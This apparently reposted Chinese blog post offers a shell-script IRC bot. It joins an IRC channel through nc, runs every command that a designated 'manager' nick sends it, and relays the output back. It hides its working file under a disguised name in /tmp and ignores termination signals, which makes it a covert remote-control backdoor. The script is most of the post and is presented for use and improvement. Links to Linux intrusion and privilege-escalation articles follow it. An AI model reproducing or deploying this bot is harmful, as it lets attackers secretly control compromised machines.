发布时间:2014-09-05 17:06:13作者:知识屋
shell算是刚刚起步,这个主要是利用了tail- f 通过管道重定向到nc来与irc服务器进行通信,然后利用sed对其格式化使之符合协议,其他没啥东西了
实现的功能就是命令执行。
代码估计很不成熟,还在学习中,希望大家对细节多提出一些指点。
01 #!/bin/sh
02
03 #Shell IRC Bot demo Based on RFC 1459
04 #Author:Tm3yShell7 @ www.hackshell.net
05 #2011/8/5
06
07 myname='testBot' #what you call me?
08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P
09 channel='bots' #irc channel
10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime
11 mgr='god' #manager nick in irc
12 cwd='/tmp' # current work directry
13
14 trap "" TERM HUP INT QUIT TSTP
15 #just leave it
16
17 echo "NICK $myname" > $tmpfile
18 echo "USER $myname `hostname` servername realname" >> $tmpfile
19 echo "JOIN $channel" >> $tmpfile
20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile
21 #connect to the irc server and say hello to my manager
22
23 tail -f $tmpfile| nc $svradd | while true; do
24 read cmd
25 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1
26 test $? -eq 0 || continue
27 #see if this message is for me?
28 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null)
29 #delete the header
30 cmd=$(echo $cmd | sed "s//r//n/" 2>/dev/null)
31 #delete '/r'
32 echo $cmd | egrep "^cd *" >/dev/null 2>&1
33 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null)
34 #update cwd if this is a "cd" command
35 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1
36 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"
37 #overwirte the "pwd" command
38 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1
39 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile
40 #exec it and send
41 done
from:Tm3yShell7's Blog
linux一键安装web环境全攻略 在linux系统中怎么一键安装web环境方法
Linux网络基本网络配置方法介绍 如何配置Linux系统的网络方法
Linux下DNS服务器搭建详解 Linux下搭建DNS服务器和配置文件
对Linux进行详细的性能监控的方法 Linux 系统性能监控命令详解
linux系统root密码忘了怎么办 linux忘记root密码后找回密码的方法
Linux基本命令有哪些 Linux系统常用操作命令有哪些
Linux必学的网络操作命令 linux网络操作相关命令汇总
linux系统从入侵到提权的详细过程 linux入侵提权服务器方法技巧
linux系统怎么用命令切换用户登录 Linux切换用户的命令是什么
在linux中添加普通新用户登录 如何在Linux中添加一个新的用户
2012-07-10
CentOS 6.3安装(详细图解教程)
Linux怎么查看网卡驱动?Linux下查看网卡的驱动程序
centos修改主机名命令
Ubuntu或UbuntuKyKin14.04Unity桌面风格与Gnome桌面风格的切换
FEDORA 17中设置TIGERVNC远程访问
StartOS 5.0相关介绍,新型的Linux系统!
解决vSphere Client登录linux版vCenter失败
LINUX最新提权 Exploits Linux Kernel <= 2.6.37
nginx在网站中的7层转发功能